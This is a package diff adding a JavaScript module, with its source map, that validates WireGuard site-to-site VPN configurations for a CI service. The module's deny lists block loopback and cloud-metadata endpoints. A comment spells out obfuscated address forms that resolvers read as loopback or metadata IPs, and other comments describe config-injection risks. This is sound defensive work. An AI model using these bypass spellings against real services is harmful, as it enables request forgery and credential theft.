@appforge-ci/core 0.1.2 → 0.2.1

package/dist/vpn-network.js

@@ -0,0 +1,325 @@
+/**
+ * Pure validation + addressing helpers for the site-to-site VPN
+ * (`VpnTunnel`, packages/db/migrations/0037_vpn.sql). No I/O, so the API
+ * route, CLI and dashboard all validate a tunnel config identically
+ * before it reaches the server, and the server never has to trust them.
+ *
+ * IPv4 only in v1: the tunnel's own /30, every LAN CIDR and the gateway's
+ * endpoint IP literal are IPv4. A customer gateway reachable by an IPv6
+ * hostname still works through DNS (a hostname endpoint is allowed) — what
+ * isn't supported yet is a LAN or tunnel range that is itself IPv6.
+ */
+const IPV4 = /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/;
+export function parseIpv4(ip) {
+    const m = IPV4.exec(ip);
+    if (!m)
+        return null;
+    let n = 0;
+    for (let i = 1; i <= 4; i++) {
+        const part = m[i];
+        // "01" is ambiguous (octal in some parsers) — refuse rather than guess.
+        if (part.length > 1 && part.startsWith("0"))
+            return null;
+        const octet = Number(part);
+        if (octet > 255)
+            return null;
+        n = n * 256 + octet;
+    }
+    return n;
+}
+export function formatIpv4(n) {
+    return [(n / 2 ** 24) & 255, (n / 2 ** 16) & 255, (n / 2 ** 8) & 255, n & 255].join(".");
+}
+function maskOf(prefix) {
+    return prefix === 0 ? 0 : (0xffffffff << (32 - prefix)) >>> 0;
+}
+/** Parses "a.b.c.d/n". Returns null for anything malformed, and for a
+ *  CIDR whose host bits are set ("10.0.0.5/24") — a silent normalize
+ *  would hide a typo that routes a different range than the customer
+ *  meant. */
+export function parseCidr(cidr) {
+    const [ip, prefixText, ...rest] = cidr.split("/");
+    if (ip === undefined || prefixText === undefined || rest.length > 0)
+        return null;
+    if (!/^\d{1,2}$/.test(prefixText))
+        return null;
+    const prefix = Number(prefixText);
+    if (prefix > 32)
+        return null;
+    const addr = parseIpv4(ip);
+    if (addr === null)
+        return null;
+    if ((addr & maskOf(prefix)) >>> 0 !== addr)
+        return null;
+    return { network: addr, prefix };
+}
+export function cidrsOverlap(a, b) {
+    const prefix = Math.min(a.prefix, b.prefix);
+    const mask = maskOf(prefix);
+    return ((a.network & mask) >>> 0) === ((b.network & mask) >>> 0);
+}
+function cidrContainsIp(cidr, ip) {
+    return ((ip & maskOf(cidr.prefix)) >>> 0) === cidr.network;
+}
+const cidr = (text) => parseCidr(text);
+/** Ranges a customer LAN must never claim: they are either never a real
+ *  site network or would hijack traffic the build needs to go direct. */
+const FORBIDDEN_LAN_RANGES = [
+    { range: cidr("0.0.0.0/8"), why: "0.0.0.0/8 is not a routable network" },
+    { range: cidr("127.0.0.0/8"), why: "127.0.0.0/8 is loopback" },
+    { range: cidr("169.254.0.0/16"), why: "169.254.0.0/16 is link-local (and reserved for the tunnel's own /30)" },
+    { range: cidr("224.0.0.0/3"), why: "224.0.0.0/3 is multicast/reserved" },
+];
+/** Where tunnel /30s are allocated from. Link-local space: no customer LAN
+ *  may use it (see above), and it is never routed on the public internet,
+ *  so a collision needs a customer network that already misuses it. The
+ *  169.254.169.0/24 slice is skipped — cloud metadata services live at
+ *  169.254.169.254. */
+const TUNNEL_POOL = cidr("169.254.192.0/18");
+const TUNNEL_POOL_SKIP = cidr("169.254.169.0/24");
+export const MAX_LAN_CIDRS = 16;
+export const MIN_LAN_PREFIX = 8;
+/** The two usable addresses of a tunnel /30: `gateway` is the customer
+ *  side (network + 1), `local` is AppForge's side (network + 2). */
+export function tunnelAddresses(tunnelCidr) {
+    const parsed = parseCidr(tunnelCidr);
+    if (!parsed || parsed.prefix !== 30)
+        return null;
+    return { gateway: formatIpv4(parsed.network + 1), local: formatIpv4(parsed.network + 2) };
+}
+/**
+ * Picks a free /30 from the tunnel pool that doesn't overlap any of the
+ * customer's LAN CIDRs. `random` returns a float in [0, 1) — injected so
+ * tests are deterministic and the Worker can pass a crypto-backed source.
+ */
+export function allocateTunnelCidr(lanCidrs, random) {
+    const lans = lanCidrs.map(parseCidr).filter((c) => c !== null);
+    const slots = 2 ** (30 - TUNNEL_POOL.prefix);
+    for (let attempt = 0; attempt < 64; attempt++) {
+        const slot = Math.floor(random() * slots);
+        const candidate = { network: TUNNEL_POOL.network + slot * 4, prefix: 30 };
+        if (cidrsOverlap(candidate, TUNNEL_POOL_SKIP))
+            continue;
+        if (lans.some((lan) => cidrsOverlap(lan, candidate)))
+            continue;
+        return `${formatIpv4(candidate.network)}/30`;
+    }
+    throw new Error("could not allocate a tunnel range that avoids the declared LAN ranges");
+}
+/** A WireGuard key is 32 bytes, base64-encoded (44 chars, one trailing '='). */
+export function isWireguardKey(value) {
+    if (!/^[A-Za-z0-9+/]{43}=$/.test(value))
+        return false;
+    // 43 base64 chars carry 258 bits; the final char's low two bits must be 0
+    // for a canonical 32-byte encoding.
+    return "AEIMQUYcgkosw048".includes(value[42]);
+}
+const HOSTNAME = /^(?=.{1,253}$)([a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)+$/i;
+/** True for an IPv4 address (as a 32-bit integer, see `parseIpv4`) that is
+ *  never a customer's public gateway: pointing the Mac's UDP at one would aim
+ *  it at the Mac's own network. Exported for the agent, which must re-check a
+ *  gateway *hostname's* resolved addresses with the same rule right before it
+ *  dials (a DNS name can resolve to a private IP; the Worker can't see that).
+ *
+ *  This is the DEFAULT rule. A tunnel in "lab mode" (`allowPrivateEndpoint`,
+ *  migrations/0040) swaps it for the narrower `isForbiddenEndpointIpv4`. */
+export function isNonPublicIpv4(ip) {
+    return [
+        cidr("0.0.0.0/8"),
+        cidr("10.0.0.0/8"),
+        cidr("100.64.0.0/10"),
+        cidr("127.0.0.0/8"),
+        cidr("169.254.0.0/16"),
+        cidr("172.16.0.0/12"),
+        cidr("192.168.0.0/16"),
+        cidr("224.0.0.0/3"),
+    ].some((range) => cidrContainsIp(range, ip));
+}
+/**
+ * The subset of `isNonPublicIpv4` that must be refused EVEN IN LAB MODE: the
+ * RFC1918 (10/8, 172.16/12, 192.168/16) and CGNAT (100.64/10) ranges are the
+ * ones a lab or an on-site Mac legitimately needs, so they are exactly what
+ * is left out here. What remains has no legitimate gateway behind it and is
+ * dangerous to aim the Mac's UDP at:
+ *   - 127.0.0.0/8: the Mac itself (and anything bound to loopback on it);
+ *   - 169.254.0.0/16: link-local, including the cloud-metadata address
+ *     169.254.169.254 and AppForge's own tunnel pool;
+ *   - 224.0.0.0/3: multicast, the 240/4 reserved block and 255.255.255.255
+ *     broadcast;
+ *   - 0.0.0.0/8: "this host" / unspecified.
+ * Mirrored in the agent (vpn-session.ts) and the Go helper
+ * (packages/vpn-proxy/internal/config) — keep all three identical.
+ */
+export function isForbiddenEndpointIpv4(ip) {
+    return [cidr("0.0.0.0/8"), cidr("127.0.0.0/8"), cidr("169.254.0.0/16"), cidr("224.0.0.0/3")].some((range) => cidrContainsIp(range, ip));
+}
+/** `host:port` where host is a DNS name or a *public* IPv4 literal (or, with
+ *  `allowPrivate`, a public-or-RFC1918/CGNAT literal). A hostname is only
+ *  syntax-checked here; what it resolves to is the agent's job, with the same
+ *  predicate that matches `allowPrivate`. */
+export function parseEndpoint(endpoint, opts = {}) {
+    const idx = endpoint.lastIndexOf(":");
+    if (idx <= 0)
+        return { error: "gatewayEndpoint must be host:port" };
+    const host = endpoint.slice(0, idx);
+    const portText = endpoint.slice(idx + 1);
+    if (!/^\d{1,5}$/.test(portText) || Number(portText) < 1 || Number(portText) > 65535) {
+        return { error: "gatewayEndpoint port must be 1-65535" };
+    }
+    const port = Number(portText);
+    if (host.startsWith("[") || host.includes(":")) {
+        return { error: "IPv6 literals are not supported as a gateway endpoint — use a DNS name" };
+    }
+    const ip = parseIpv4(host);
+    if (ip !== null) {
+        if (opts.allowPrivate) {
+            if (isForbiddenEndpointIpv4(ip)) {
+                return {
+                    error: "gatewayEndpoint may not be a loopback, link-local (including cloud metadata), multicast/reserved or 0.0.0.0/8 address, even when private endpoints are allowed",
+                };
+            }
+        }
+        else if (isNonPublicIpv4(ip)) {
+            return { error: "gatewayEndpoint must be a publicly reachable address, not a private/loopback/link-local IP" };
+        }
+        return { host, port };
+    }
+    if (/^\d+(\.\d+)*$/.test(host))
+        return { error: "gatewayEndpoint host is not a valid IPv4 address" };
+    if (!HOSTNAME.test(host))
+        return { error: "gatewayEndpoint host is not a valid DNS name" };
+    // inet_aton-style resolvers read "0x7f.0.0.1", "0xa9.0xfe.0xa9.0xfe" or
+    // "0x0a.1" as IPv4 addresses (loopback, cloud metadata, 10.0.0.1), which
+    // the check above would otherwise wave through as "a DNS name". No real
+    // hostname has an all-digit or 0x-prefixed label, so refuse them anywhere
+    // — lab mode included, since the forbidden set must hold in every spelling.
+    if (host.split(".").some((label) => /^(0x[0-9a-f]*|\d+)$/i.test(label))) {
+        return { error: "gatewayEndpoint host has a numeric label that resolvers may read as an IP address — use a real DNS name or a plain dotted IPv4" };
+    }
+    if (host.toLowerCase() === "localhost" || host.toLowerCase().endsWith(".localhost")) {
+        return { error: "gatewayEndpoint must be publicly reachable, not localhost" };
+    }
+    return { host: host.toLowerCase(), port };
+}
+const DOMAIN_SUFFIX = /^(\*\.)?[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)+$/i;
+/**
+ * Validates a complete tunnel config and returns every problem found (an
+ * empty array means valid) — callers show them all at once rather than one
+ * round trip per mistake. Checks the cross-field rules a per-field zod
+ * schema can't: the tunnel /30 must not overlap any LAN range, and the
+ * DNS server must sit inside a LAN range (otherwise its queries would not
+ * go through the tunnel at all). `opts.allowPrivate` is the tunnel's lab-mode
+ * flag; callers pass the tunnel's *effective* value (never one the requester
+ * isn't entitled to set), and nothing else in the config is relaxed by it.
+ */
+export function validateVpnTunnelConfig(config, opts = {}) {
+    const errors = [];
+    const endpoint = parseEndpoint(config.gatewayEndpoint, opts);
+    if ("error" in endpoint)
+        errors.push(endpoint.error);
+    if (!isWireguardKey(config.gatewayPublicKey)) {
+        errors.push("gatewayPublicKey must be a base64-encoded 32-byte WireGuard public key");
+    }
+    const lans = [];
+    if (config.lanCidrs.length === 0)
+        errors.push("lanCidrs must contain at least one CIDR");
+    if (config.lanCidrs.length > MAX_LAN_CIDRS)
+        errors.push(`lanCidrs may contain at most ${MAX_LAN_CIDRS} CIDRs`);
+    const seen = new Set();
+    for (const text of config.lanCidrs) {
+        const parsed = parseCidr(text);
+        if (!parsed) {
+            errors.push(`"${text}" is not a valid IPv4 CIDR with the host bits zeroed (e.g. 10.20.0.0/16)`);
+            continue;
+        }
+        if (seen.has(text)) {
+            errors.push(`"${text}" is listed more than once`);
+            continue;
+        }
+        seen.add(text);
+        if (parsed.prefix < MIN_LAN_PREFIX) {
+            errors.push(`"${text}" is too broad — LAN ranges must be /${MIN_LAN_PREFIX} or narrower (default routes are never allowed)`);
+            continue;
+        }
+        const forbidden = FORBIDDEN_LAN_RANGES.find((f) => cidrsOverlap(f.range, parsed));
+        if (forbidden) {
+            errors.push(`"${text}" overlaps a range that can't be tunneled: ${forbidden.why}`);
+            continue;
+        }
+        lans.push(parsed);
+    }
+    const tunnel = parseCidr(config.tunnelCidr);
+    if (!tunnel || tunnel.prefix !== 30) {
+        errors.push("tunnelCidr must be a /30 (e.g. 169.254.200.0/30)");
+    }
+    else {
+        if (lans.some((lan) => cidrsOverlap(lan, tunnel))) {
+            errors.push("tunnelCidr overlaps one of the lanCidrs — pick a different /30");
+        }
+        if (cidrsOverlap(tunnel, TUNNEL_POOL_SKIP) ||
+            cidrsOverlap(tunnel, cidr("127.0.0.0/8")) ||
+            cidrsOverlap(tunnel, cidr("224.0.0.0/3")) ||
+            cidrsOverlap(tunnel, cidr("0.0.0.0/8"))) {
+            errors.push("tunnelCidr can't use that range (reserved for cloud metadata, loopback, multicast or 0.0.0.0/8)");
+        }
+    }
+    if (config.dnsServer !== undefined && config.dnsServer !== null) {
+        const dns = parseIpv4(config.dnsServer);
+        if (dns === null)
+            errors.push("dnsServer must be an IPv4 address");
+        else if (lans.length > 0 && !lans.some((lan) => cidrContainsIp(lan, dns))) {
+            errors.push("dnsServer must be inside one of the lanCidrs so its queries go through the tunnel");
+        }
+    }
+    const domains = config.allowedDomains ?? [];
+    if (domains.length > 32)
+        errors.push("allowedDomains may contain at most 32 entries");
+    for (const d of domains) {
+        if (!DOMAIN_SUFFIX.test(d))
+            errors.push(`"${d}" is not a valid domain (use example.com or *.example.com)`);
+    }
+    if (domains.length > 0 && (config.dnsServer === undefined || config.dnsServer === null)) {
+        errors.push("allowedDomains needs a dnsServer to resolve them through the tunnel");
+    }
+    return errors;
+}
+/**
+ * The text the customer pastes into their own gateway so it accepts our
+ * side of the tunnel. Plain WireGuard `[Peer]` syntax — wg-quick, pfSense,
+ * OPNsense, MikroTik, FortiGate and UniFi all take these four values. The
+ * Mac dials out, so there is deliberately no `Endpoint` line: the gateway
+ * learns our address from the handshake and follows it as Macs change.
+ */
+export function renderGatewayPeerConfig(input) {
+    const addrs = tunnelAddresses(input.tunnelCidr);
+    if (!addrs)
+        throw new Error("tunnelCidr must be a /30");
+    // The customer pastes this into a gateway whose wg-quick runs as root, so
+    // every interpolated value must be provably a single line of the shape we
+    // expect — a stray newline would let one value inject a whole extra
+    // `[Interface]`/`PostUp`/`[Peer]` stanza. Keys and CIDRs are re-checked
+    // here even though the route validated them; the org name is free text any
+    // org member can set (PATCH /orgs/:orgId), so it is stripped to printable
+    // characters on one line and only ever lands inside a `#` comment.
+    if (!isWireguardKey(input.ourPublicKey))
+        throw new Error("ourPublicKey is not a WireGuard key");
+    if (!isWireguardKey(input.presharedKey))
+        throw new Error("presharedKey is not a WireGuard key");
+    for (const lan of input.lanCidrs) {
+        if (parseCidr(lan) === null)
+            throw new Error(`lanCidrs entry is not a CIDR: ${JSON.stringify(lan)}`);
+    }
+    const orgName = input.orgName.replace(/[^\p{L}\p{N} ._,'()&+/-]+/gu, " ").replace(/\s+/g, " ").trim().slice(0, 80);
+    return [
+        `# AppForge CI site-to-site tunnel for ${orgName || "your organization"}`,
+        `# 1. On your gateway's WireGuard interface, use address ${addrs.gateway}/30.`,
+        `# 2. Add this peer. AppForge dials out to you, so no Endpoint is needed.`,
+        `[Peer]`,
+        `PublicKey = ${input.ourPublicKey}`,
+        `PresharedKey = ${input.presharedKey}`,
+        `AllowedIPs = ${addrs.local}/32`,
+        `# 3. Allow ${addrs.local} to reach only: ${input.lanCidrs.join(", ")}`,
+        `#    and either masquerade it or route ${input.tunnelCidr} back to this interface.`,
+    ].join("\n");
+}
+//# sourceMappingURL=vpn-network.js.map

package/dist/vpn-network.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"vpn-network.js","sourceRoot":"","sources":["../src/vpn-network.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAQH,MAAM,IAAI,GAAG,8CAA8C,CAAC;AAE5D,MAAM,UAAU,SAAS,CAAC,EAAU;IAClC,MAAM,CAAC,GAAG,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IACxB,IAAI,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IACpB,IAAI,CAAC,GAAG,CAAC,CAAC;IACV,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,IAAI,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC;QAC5B,MAAM,IAAI,GAAG,CAAC,CAAC,CAAC,CAAE,CAAC;QACnB,wEAAwE;QACxE,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,IAAI,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC;YAAE,OAAO,IAAI,CAAC;QACzD,MAAM,KAAK,GAAG,MAAM,CAAC,IAAI,CAAC,CAAC;QAC3B,IAAI,KAAK,GAAG,GAAG;YAAE,OAAO,IAAI,CAAC;QAC7B,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,KAAK,CAAC;IACtB,CAAC;IACD,OAAO,CAAC,CAAC;AACX,CAAC;AAED,MAAM,UAAU,UAAU,CAAC,CAAS;IAClC,OAAO,CAAC,CAAC,CAAC,GAAG,CAAC,IAAI,EAAE,CAAC,GAAG,GAAG,EAAE,CAAC,CAAC,GAAG,CAAC,IAAI,EAAE,CAAC,GAAG,GAAG,EAAE,CAAC,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC,GAAG,GAAG,EAAE,CAAC,GAAG,GAAG,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;AAC3F,CAAC;AAED,SAAS,MAAM,CAAC,MAAc;IAC5B,OAAO,MAAM,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,UAAU,IAAI,CAAC,EAAE,GAAG,MAAM,CAAC,CAAC,KAAK,CAAC,CAAC;AAChE,CAAC;AAED;;;aAGa;AACb,MAAM,UAAU,SAAS,CAAC,IAAY;IACpC,MAAM,CAAC,EAAE,EAAE,UAAU,EAAE,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC;IAClD,IAAI,EAAE,KAAK,SAAS,IAAI,UAAU,KAAK,SAAS,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC;QAAE,OAAO,IAAI,CAAC;IACjF,IAAI,CAAC,WAAW,CAAC,IAAI,CAAC,UAAU,CAAC;QAAE,OAAO,IAAI,CAAC;IAC/C,MAAM,MAAM,GAAG,MAAM,CAAC,UAAU,CAAC,CAAC;IAClC,IAAI,MAAM,GAAG,EAAE;QAAE,OAAO,IAAI,CAAC;IAC7B,MAAM,IAAI,GAAG,SAAS,CAAC,EAAE,CAAC,CAAC;IAC3B,IAAI,IAAI,KAAK,IAAI;QAAE,OAAO,IAAI,CAAC;IAC/B,IAAI,CAAC,IAAI,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC,KAAK,CAAC,KAAK,IAAI;QAAE,OAAO,IAAI,CAAC;IACxD,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,MAAM,EAAE,CAAC;AACnC,CAAC;AAED,MAAM,UAAU,YAAY,CAAC,CAAa,EAAE,CAAa;IACvD,MAAM,MAAM,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,MAAM,EAAE,CAAC,CAAC,MAAM,CAAC,CAAC;IAC5C,MAAM,IAAI,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC;IAC5B,OAAO,CAAC,CAAC,CAAC,CAAC,OAAO,GAAG,IAAI,CAAC,KAAK,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,OAAO,GAAG,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC;AACnE,CAAC;AAED,SAAS,cAAc,CAAC,IAAgB,EAAE,EAAU;IAClD,OAAO,CAAC,CAAC,EAAE,GAAG,MAAM,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,KAAK,CAAC,CAAC,KAAK,IAAI,CAAC,OAAO,CAAC;AAC7D,CAAC;AAED,MAAM,IAAI,GAAG,CAAC,IAAY,EAAE,EAAE,CAAC,SAAS,CAAC,IAAI,CAAE,CAAC;AAEhD;yEACyE;AACzE,MAAM,oBAAoB,GAAG;IAC3B,EAAE,KAAK,EAAE,IAAI,CAAC,WAAW,CAAC,EAAE,GAAG,EAAE,qCAAqC,EAAE;IACxE,EAAE,KAAK,EAAE,IAAI,CAAC,aAAa,CAAC,EAAE,GAAG,EAAE,yBAAyB,EAAE;IAC9D,EAAE,KAAK,EAAE,IAAI,CAAC,gBAAgB,CAAC,EAAE,GAAG,EAAE,sEAAsE,EAAE;IAC9G,EAAE,KAAK,EAAE,IAAI,CAAC,aAAa,CAAC,EAAE,GAAG,EAAE,mCAAmC,EAAE;CAChE,CAAC;AAEX;;;;uBAIuB;AACvB,MAAM,WAAW,GAAG,IAAI,CAAC,kBAAkB,CAAC,CAAC;AAC7C,MAAM,gBAAgB,GAAG,IAAI,CAAC,kBAAkB,CAAC,CAAC;AAElD,MAAM,CAAC,MAAM,aAAa,GAAG,EAAE,CAAC;AAChC,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,CAAC;AAEhC;oEACoE;AACpE,MAAM,UAAU,eAAe,CAAC,UAAkB;IAChD,MAAM,MAAM,GAAG,SAAS,CAAC,UAAU,CAAC,CAAC;IACrC,IAAI,CAAC,MAAM,IAAI,MAAM,CAAC,MAAM,KAAK,EAAE;QAAE,OAAO,IAAI,CAAC;IACjD,OAAO,EAAE,OAAO,EAAE,UAAU,CAAC,MAAM,CAAC,OAAO,GAAG,CAAC,CAAC,EAAE,KAAK,EAAE,UAAU,CAAC,MAAM,CAAC,OAAO,GAAG,CAAC,CAAC,EAAE,CAAC;AAC5F,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,kBAAkB,CAAC,QAAkB,EAAE,MAAoB;IACzE,MAAM,IAAI,GAAG,QAAQ,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,EAAmB,EAAE,CAAC,CAAC,KAAK,IAAI,CAAC,CAAC;IAChF,MAAM,KAAK,GAAG,CAAC,IAAI,CAAC,EAAE,GAAG,WAAW,CAAC,MAAM,CAAC,CAAC;IAC7C,KAAK,IAAI,OAAO,GAAG,CAAC,EAAE,OAAO,GAAG,EAAE,EAAE,OAAO,EAAE,EAAE,CAAC;QAC9C,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,CAAC,MAAM,EAAE,GAAG,KAAK,CAAC,CAAC;QAC1C,MAAM,SAAS,GAAe,EAAE,OAAO,EAAE,WAAW,CAAC,OAAO,GAAG,IAAI,GAAG,CAAC,EAAE,MAAM,EAAE,EAAE,EAAE,CAAC;QACtF,IAAI,YAAY,CAAC,SAAS,EAAE,gBAAgB,CAAC;YAAE,SAAS;QACxD,IAAI,IAAI,CAAC,IAAI,CAAC,CAAC,GAAG,EAAE,EAAE,CAAC,YAAY,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;YAAE,SAAS;QAC/D,OAAO,GAAG,UAAU,CAAC,SAAS,CAAC,OAAO,CAAC,KAAK,CAAC;IAC/C,CAAC;IACD,MAAM,IAAI,KAAK,CAAC,uEAAuE,CAAC,CAAC;AAC3F,CAAC;AAED,gFAAgF;AAChF,MAAM,UAAU,cAAc,CAAC,KAAa;IAC1C,IAAI,CAAC,sBAAsB,CAAC,IAAI,CAAC,KAAK,CAAC;QAAE,OAAO,KAAK,CAAC;IACtD,0EAA0E;IAC1E,oCAAoC;IACpC,OAAO,kBAAkB,CAAC,QAAQ,CAAC,KAAK,CAAC,EAAE,CAAE,CAAC,CAAC;AACjD,CAAC;AAOD,MAAM,QAAQ,GACZ,6FAA6F,CAAC;AAEhG;;;;;;;4EAO4E;AAC5E,MAAM,UAAU,eAAe,CAAC,EAAU;IACxC,OAAO;QACL,IAAI,CAAC,WAAW,CAAC;QACjB,IAAI,CAAC,YAAY,CAAC;QAClB,IAAI,CAAC,eAAe,CAAC;QACrB,IAAI,CAAC,aAAa,CAAC;QACnB,IAAI,CAAC,gBAAgB,CAAC;QACtB,IAAI,CAAC,eAAe,CAAC;QACrB,IAAI,CAAC,gBAAgB,CAAC;QACtB,IAAI,CAAC,aAAa,CAAC;KACpB,CAAC,IAAI,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,cAAc,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC,CAAC;AAC/C,CAAC;AAED;;;;;;;;;;;;;;GAcG;AACH,MAAM,UAAU,uBAAuB,CAAC,EAAU;IAChD,OAAO,CAAC,IAAI,CAAC,WAAW,CAAC,EAAE,IAAI,CAAC,aAAa,CAAC,EAAE,IAAI,CAAC,gBAAgB,CAAC,EAAE,IAAI,CAAC,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,KAAK,EAAE,EAAE,CAC1G,cAAc,CAAC,KAAK,EAAE,EAAE,CAAC,CAC1B,CAAC;AACJ,CAAC;AASD;;;6CAG6C;AAC7C,MAAM,UAAU,aAAa,CAAC,QAAgB,EAAE,OAA6B,EAAE;IAC7E,MAAM,GAAG,GAAG,QAAQ,CAAC,WAAW,CAAC,GAAG,CAAC,CAAC;IACtC,IAAI,GAAG,IAAI,CAAC;QAAE,OAAO,EAAE,KAAK,EAAE,mCAAmC,EAAE,CAAC;IACpE,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC;IACpC,MAAM,QAAQ,GAAG,QAAQ,CAAC,KAAK,CAAC,GAAG,GAAG,CAAC,CAAC,CAAC;IACzC,IAAI,CAAC,WAAW,CAAC,IAAI,CAAC,QAAQ,CAAC,IAAI,MAAM,CAAC,QAAQ,CAAC,GAAG,CAAC,IAAI,MAAM,CAAC,QAAQ,CAAC,GAAG,KAAK,EAAE,CAAC;QACpF,OAAO,EAAE,KAAK,EAAE,sCAAsC,EAAE,CAAC;IAC3D,CAAC;IACD,MAAM,IAAI,GAAG,MAAM,CAAC,QAAQ,CAAC,CAAC;IAC9B,IAAI,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC,IAAI,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC,EAAE,CAAC;QAC/C,OAAO,EAAE,KAAK,EAAE,wEAAwE,EAAE,CAAC;IAC7F,CAAC;IACD,MAAM,EAAE,GAAG,SAAS,CAAC,IAAI,CAAC,CAAC;IAC3B,IAAI,EAAE,KAAK,IAAI,EAAE,CAAC;QAChB,IAAI,IAAI,CAAC,YAAY,EAAE,CAAC;YACtB,IAAI,uBAAuB,CAAC,EAAE,CAAC,EAAE,CAAC;gBAChC,OAAO;oBACL,KAAK,EACH,gKAAgK;iBACnK,CAAC;YACJ,CAAC;QACH,CAAC;aAAM,IAAI,eAAe,CAAC,EAAE,CAAC,EAAE,CAAC;YAC/B,OAAO,EAAE,KAAK,EAAE,4FAA4F,EAAE,CAAC;QACjH,CAAC;QACD,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,CAAC;IACxB,CAAC;IACD,IAAI,eAAe,CAAC,IAAI,CAAC,IAAI,CAAC;QAAE,OAAO,EAAE,KAAK,EAAE,kDAAkD,EAAE,CAAC;IACrG,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,IAAI,CAAC;QAAE,OAAO,EAAE,KAAK,EAAE,8CAA8C,EAAE,CAAC;IAC3F,wEAAwE;IACxE,yEAAyE;IACzE,wEAAwE;IACxE,0EAA0E;IAC1E,4EAA4E;IAC5E,IAAI,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,sBAAsB,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC;QACxE,OAAO,EAAE,KAAK,EAAE,gIAAgI,EAAE,CAAC;IACrJ,CAAC;IACD,IAAI,IAAI,CAAC,WAAW,EAAE,KAAK,WAAW,IAAI,IAAI,CAAC,WAAW,EAAE,CAAC,QAAQ,CAAC,YAAY,CAAC,EAAE,CAAC;QACpF,OAAO,EAAE,KAAK,EAAE,2DAA2D,EAAE,CAAC;IAChF,CAAC;IACD,OAAO,EAAE,IAAI,EAAE,IAAI,CAAC,WAAW,EAAE,EAAE,IAAI,EAAE,CAAC;AAC5C,CAAC;AAED,MAAM,aAAa,GAAG,qFAAqF,CAAC;AAW5G;;;;;;;;;GASG;AACH,MAAM,UAAU,uBAAuB,CAAC,MAA4B,EAAE,OAA6B,EAAE;IACnG,MAAM,MAAM,GAAa,EAAE,CAAC;IAE5B,MAAM,QAAQ,GAAG,aAAa,CAAC,MAAM,CAAC,eAAe,EAAE,IAAI,CAAC,CAAC;IAC7D,IAAI,OAAO,IAAI,QAAQ;QAAE,MAAM,CAAC,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC;IAErD,IAAI,CAAC,cAAc,CAAC,MAAM,CAAC,gBAAgB,CAAC,EAAE,CAAC;QAC7C,MAAM,CAAC,IAAI,CAAC,wEAAwE,CAAC,CAAC;IACxF,CAAC;IAED,MAAM,IAAI,GAAiB,EAAE,CAAC;IAC9B,IAAI,MAAM,CAAC,QAAQ,CAAC,MAAM,KAAK,CAAC;QAAE,MAAM,CAAC,IAAI,CAAC,yCAAyC,CAAC,CAAC;IACzF,IAAI,MAAM,CAAC,QAAQ,CAAC,MAAM,GAAG,aAAa;QAAE,MAAM,CAAC,IAAI,CAAC,gCAAgC,aAAa,QAAQ,CAAC,CAAC;IAC/G,MAAM,IAAI,GAAG,IAAI,GAAG,EAAU,CAAC;IAC/B,KAAK,MAAM,IAAI,IAAI,MAAM,CAAC,QAAQ,EAAE,CAAC;QACnC,MAAM,MAAM,GAAG,SAAS,CAAC,IAAI,CAAC,CAAC;QAC/B,IAAI,CAAC,MAAM,EAAE,CAAC;YACZ,MAAM,CAAC,IAAI,CAAC,IAAI,IAAI,0EAA0E,CAAC,CAAC;YAChG,SAAS;QACX,CAAC;QACD,IAAI,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,EAAE,CAAC;YACnB,MAAM,CAAC,IAAI,CAAC,IAAI,IAAI,4BAA4B,CAAC,CAAC;YAClD,SAAS;QACX,CAAC;QACD,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;QACf,IAAI,MAAM,CAAC,MAAM,GAAG,cAAc,EAAE,CAAC;YACnC,MAAM,CAAC,IAAI,CAAC,IAAI,IAAI,wCAAwC,cAAc,iDAAiD,CAAC,CAAC;YAC7H,SAAS;QACX,CAAC;QACD,MAAM,SAAS,GAAG,oBAAoB,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,YAAY,CAAC,CAAC,CAAC,KAAK,EAAE,MAAM,CAAC,CA